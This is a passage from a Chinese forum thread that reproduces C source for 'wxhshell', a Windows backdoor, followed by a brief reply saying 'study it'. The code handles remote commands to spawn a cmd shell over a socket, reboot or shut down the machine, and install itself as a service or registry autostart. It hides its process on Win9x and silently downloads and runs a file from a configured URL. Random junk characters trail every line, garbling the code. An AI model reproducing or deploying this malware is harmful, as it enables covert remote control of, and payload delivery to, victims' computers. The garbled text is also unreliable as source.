  else hFMst%:y$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m > (h_j  
  } b$O_L4CP  
  else { `t0f L\T  
Eqbe$o`dd  
    switch(cmd[0]) { liqR#<  
  `QdQ?9x{F  
  // 帮助 -,VhSI  
  case '?': { }b+QYSt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #we>75l{+R  
    break; vo ;F;  
  } t-i6FS-  
  // 安装 +xfW`[.{  
  case 'i': { +'/}[1q1/T  
    if(Install()) (\t_Hs::a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 12sD|j  
    else @GQ8q]N:<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rLh9`0|D  
    break; VS|( "**  
    } =HY1l}\  
  // 卸载 @f{_=~+  
  case 'r': { 8ts+'65|F  
    if(Uninstall()) vA"niO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \c~{o+UD-  
    else H [Lt%:r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ouVjZF@kS  
    break; ; ,=h59`  
    } F|?'9s*;6G  
  // 显示 wxhshell 所在路径 :e]9T3Q  
  case 'p': { j;20JA/b  
    char svExeFile[MAX_PATH]; 0[:9 Hb6  
    strcpy(svExeFile,"\n\r"); Ae j   
      strcat(svExeFile,ExeFile); K- I\P6R`  
        send(wsh,svExeFile,strlen(svExeFile),0); D!}K)T1~R  
    break; /.)[9bQ<  
    } g&+Y{*Gp  
  // 重启 6f?BltFaN  
  case 'b': { 7q!yCU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tB7K&ssi  
    if(Boot(REBOOT)) n2d8;B#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N3gNOq&  
    else { 0UGiPH,()  
    closesocket(wsh); d"I28PIS"  
    ExitThread(0); 'DzBp  
    } 8.CKH4h  
    break; f[Fgh@4cj  
    } 5U{4TeUH  
  // 关机 -/UXd4S  
  case 'd': { R+E_#lP_$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DVl[t8K!  
    if(Boot(SHUTDOWN)) W&e'3gk_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cRh\USS  
    else { C~{NKMeC/m  
    closesocket(wsh); K2xH'v O(  
    ExitThread(0); =0h|yjnL/  
    } 0aC 2 Pym^  
    break; Wk`bb!P_  
    } 6KEykw j  
  // 获取shell lC=N:=Mu  
  case 's': { }2ql?K  
    CmdShell(wsh); m\/,cc@,  
    closesocket(wsh); `u#;MUg  
    ExitThread(0); 2"leUur~rO  
    break; 1Sg|3T8bGT  
  } f4'El2>-86  
  // 退出 v`S2M  
  case 'x': { }A1|jY)x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *#lBQBH|.  
    CloseIt(wsh); & =73D1A  
    break; "($Lx  
    } 9jO`gWxV8*  
  // 离开 &_9YLXtMi;  
  case 'q': { 'u(=eJ@1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [J)/Et  
    closesocket(wsh); 7`IUMYl#~  
    WSACleanup(); cgs3qI  
    exit(1); -,QKTxwo>  
    break; Cf0|Z  
        } *$i;o3  
  } HKTeqH_:  
  } [x!i* rW3  
(;0$i?3\  
  // 提示信息 .4Qb5I2#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EqD^/(,L2  
} j?:`-\w5  
  } 4llD6&%  
Aq V09 $  
  return; sULIrYRA  
} ;OOj[%.  
+`;+RDKY*  
// shell模块句柄 t_jyyHxoZ:  
int CmdShell(SOCKET sock) N[qA2+e$Z  
{ n1QEu"~Zj  
STARTUPINFO si; `d7gm;ykp  
ZeroMemory(&si,sizeof(si)); @B,j;2eb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o 'C~~Vg).  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {y,nFxLq  
PROCESS_INFORMATION ProcessInfo; {Q5KV%F_  
char cmdline[]="cmd"; "7=bL7wM&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;asm 0H(  
  return 0; MV:W@)rg  
} w4\BD&7V  
P<%v +O  
// 自身启动模式 -xJX_6}A  
int StartFromService(void) iv:,fkwG  
{ {(rf/:X!p  
typedef struct X*pZNz&E  
{  T/[f5?p  
  DWORD ExitStatus; lijB#1<8*  
  DWORD PebBaseAddress; 9s! 2 wwh  
  DWORD AffinityMask; /~40rXH2C  
  DWORD BasePriority; Hm>-LOCcl  
  ULONG UniqueProcessId; 7\mDBG  
  ULONG InheritedFromUniqueProcessId; :?HSZocf  
}   PROCESS_BASIC_INFORMATION; %'N$l F"]  
!*&4< _  
PROCNTQSIP NtQueryInformationProcess; Z6 ;Wd_  
O\6vVM[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B!eK!B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oJ^C]E  
1p8:.1)q  
  HANDLE             hProcess; ;0IvF#SJ(.  
  PROCESS_BASIC_INFORMATION pbi; N99[.mErU  
^_@r.y]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); = 0 ,|/1~  
  if(NULL == hInst ) return 0; ]?[zx'|  
2(pLxVl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R]Hz8 _X  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yahAD.Xuo@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R.K?  
Hi^35  
  if (!NtQueryInformationProcess) return 0; *oCxof9JA  
_B)s=Snx  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2Kjrw;  
  if(!hProcess) return 0; hjkLVL  
dUIqDl  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8qn 9|  
OY:u',T  
  CloseHandle(hProcess); >-b&v$  
G\R*#4cF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T/ik/lFI  
if(hProcess==NULL) return 0; -$. 0Dc)3!  
AcKU^T+  
HMODULE hMod; iC\%_5/ _  
char procName[255]; alFNSRY  
unsigned long cbNeeded; le.anJAr  
:vpl+)n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tZbFvk2  
6,X+1EXY  
  CloseHandle(hProcess); 'xIyGDe  
c S4DN  
if(strstr(procName,"services")) return 1; // 以服务启动 x|8^i6xB  
.46#`4av  
  return 0; // 注册表启动 vv+km+  
} x>v-m*4Z4@  
S_6g~PHsr  
// 主模块 )IHG6}<  
int StartWxhshell(LPSTR lpCmdLine) 58::h. :  
{ ~(P&g7u  
  SOCKET wsl; 09'oz*v{#  
BOOL val=TRUE; 30s; }  
  int port=0; ?-f,8Z|h  
  struct sockaddr_in door; /,!<Va;~  
Q^L) Vp"  
  if(wscfg.ws_autoins) Install(); 3f"C!l]Xu  
+ ~ "5!  
port=atoi(lpCmdLine); \/ErPi=g  
eIH$"f;L  
if(port<=0) port=wscfg.ws_port; 6#U^< `  
/'ZKST4  
  WSADATA data; ow/U   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \8{\;L C  
PQ$sOK|/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Nar>FR7ut  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lbTV$A  
  door.sin_family = AF_INET; V4|uas{0I:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5X#E@3g5  
  door.sin_port = htons(port); +y/55VLq  
h$`#YNd'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6kN:*  
closesocket(wsl); 0 Qnd6mb  
return 1; \9`#]#1bx5  
} -U >y   
7/aOsW"6  
  if(listen(wsl,2) == INVALID_SOCKET) { #Y2i*:<  
closesocket(wsl);  S(  
return 1; !J3UqS  
} L0L2Ns  
  Wxhshell(wsl); y\D=Z N@  
  WSACleanup(); <.bRf  
1Ipfw  
return 0; Xh F _]  
D<>@ %"%  
} XRxj  W  
`:p1&OS  
// 以NT服务方式启动 KnGTcoXg_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tlQC6Fb#  
{ ?2 f_aY ;  
DWORD   status = 0; '1Y\[T*  
  DWORD   specificError = 0xfffffff; ^AL2H'  
X:|8vS+0gU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }gv8au<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vcv CD7MD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BhkoSkr  
  serviceStatus.dwWin32ExitCode     = 0; [ *>AN7W   
  serviceStatus.dwServiceSpecificExitCode = 0; [ c~kF+8  
  serviceStatus.dwCheckPoint       = 0; uOd& XW  
  serviceStatus.dwWaitHint       = 0; aJzLrX  
cE\>f8 I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !Ms[eB  
  if (hServiceStatusHandle==0) return; yCP4r6X0  
/TV= $gB`  
status = GetLastError(); /<{:I \<  
  if (status!=NO_ERROR) e2cP *J  
{ 6;iJ*2f5V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `XKVr  
    serviceStatus.dwCheckPoint       = 0; x#*QfE/E(@  
    serviceStatus.dwWaitHint       = 0; iOCqE 5d3  
    serviceStatus.dwWin32ExitCode     = status; l63hLz  
    serviceStatus.dwServiceSpecificExitCode = specificError; BUsV|e\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y(i Y  
    return; h&;t.Gdf  
  } nB5zNyY4  
k XrlSaIc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; KOh A)  
  serviceStatus.dwCheckPoint       = 0; fuMJdAuY7d  
  serviceStatus.dwWaitHint       = 0; Pw[g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !)pdamdA  
} O9"/ kmB  
*F`A S>  
// 处理NT服务事件,比如:启动、停止 "@/62b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hgj <>H|  
{ 'xE _Cj  
switch(fdwControl) Fmr}o(q1  
{ yN6>VD{F  
case SERVICE_CONTROL_STOP:  Vzl^Ka'  
  serviceStatus.dwWin32ExitCode = 0; VIJ<``9[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B*3Y !!  
  serviceStatus.dwCheckPoint   = 0; !mMpb/&&S  
  serviceStatus.dwWaitHint     = 0; bB}5U@G|  
  { `5~3G2T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rsXq- Pq*  
  } p B;3bc  
  return; OI}cs2m  
case SERVICE_CONTROL_PAUSE: &(N+.T5cp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /i]y$^  
  break; >e,mg8u6$  
case SERVICE_CONTROL_CONTINUE: $I9qgDJ)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &--ej|n  
  break; )#iq4@)|g  
case SERVICE_CONTROL_INTERROGATE: bm% $86  
  break; }"^'% C8EX  
}; 9DQa PA6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VQ#3#Hj  
} tmUFT  
kwpK1R4zs  
// 标准应用程序主函数 BV#78,8(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [*:6oo98'  
{ Pr ]Ka  
TuDE@ gq(  
// 获取操作系统版本 'T<iHV&  
OsIsNt=GetOsVer(); }Gyqq6Aeb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); VVP:w%yW  
hvka{LD  
  // 从命令行安装 sarq`%zrk  
  if(strpbrk(lpCmdLine,"iI")) Install(); ',^+bgs5  
Uyx!E4pl(  
  // 下载执行文件 ~@.%m"<.  
if(wscfg.ws_downexe) { XolZonJr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f"1>bW>R+  
  WinExec(wscfg.ws_filenam,SW_HIDE); *3/T;x.  
} ]n."<qxeT  
::FS/Y]Fg  
if(!OsIsNt) { :>Rv!x`  
// 如果时win9x,隐藏进程并且设置为注册表启动 <Z}SKR"U%  
HideProc(); XxIHoX&  
StartWxhshell(lpCmdLine); 3jB$2:#  
} ' Z0r>.  
else jw<pK4?y  
  if(StartFromService()) 29CINC  
  // 以服务方式启动 a ] =  
  StartServiceCtrlDispatcher(DispatchTable); jO*l3:!~\  
else UhA"nt0  
  // 普通方式启动 @c9^q> Uv  
  StartWxhshell(lpCmdLine);  Jc&y9]  
lKZB?Kk^w\  
return 0; s, k  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五